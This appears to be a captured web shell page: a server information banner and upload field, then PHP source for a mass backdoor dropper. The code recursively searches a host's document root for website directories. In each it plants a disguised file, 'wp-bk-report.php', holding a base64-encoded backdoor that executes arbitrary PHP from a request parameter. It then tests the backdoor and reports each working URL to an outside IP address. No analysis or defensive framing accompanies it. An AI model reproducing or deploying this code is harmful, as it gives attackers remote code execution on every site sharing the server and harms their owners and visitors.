|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /var/tmp/ |
Upload File : |
<?php echo ":#009009#:";
$file_to_search = "index.";
$dop = $_GET['ptz'];
@search_file($_SERVER['DOCUMENT_ROOT'].$dop,$file_to_search);
function search_file($dir,$file_to_search){
$files = scandir($dir);
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false) {
$dirname = basename(dirname($path));
$dirname_2 = basename(dirname(dirname($path)));
if (($dirname == "public_html" && strpos($dirname_2,".") !== false) || strpos($dirname,".") !== false){
make_sh(dirname($path));
}
}
} else if($value != "." && $value != "..") {
search_file($path, $file_to_search);
}
}
}
function make_sh($dir) {
$site_name = basename($dir);
if($site_name == "public_html"){
$site_name = basename(dirname($dir));
}
@file_put_contents($dir."/wp-bk-report.php",base64_decode('PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3RlbXBvdGVtcGwnLCc8P3BocCAnLmJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWydxJ10pKTsgaW5jbHVkZSgndGVtcG90ZW1wbCcpOyB1bmxpbmsoJ3RlbXBvdGVtcGwnKTsgPz4='));
$r = @file_get_contents("http://".$site_name."/wp-bk-report.php?q=ZWNobyAzNjc0NTc0NTc7");
if(strpos($r,"367457457") !== false){
//echo "http://".$site_name."/wp-bk-report.php<#>";
@file_get_contents("http://185.212.131.7/pt.php?f=1&g=http://".$site_name."/wp-bk-report.php");
return;
}
$r = @file_get_contents("https://".$site_name."/wp-bk-report.php?q=ZWNobyAzNjc0NTc0NTc7");
if(strpos($r,"367457457") !== false){
//echo "https://".$site_name."/wp-bk-report.php<#>";
@file_get_contents("http://185.212.131.7/pt.php?f=1&g=https://".$site_name."/wp-bk-report.php");
return;
}
}
echo "#already exist#:";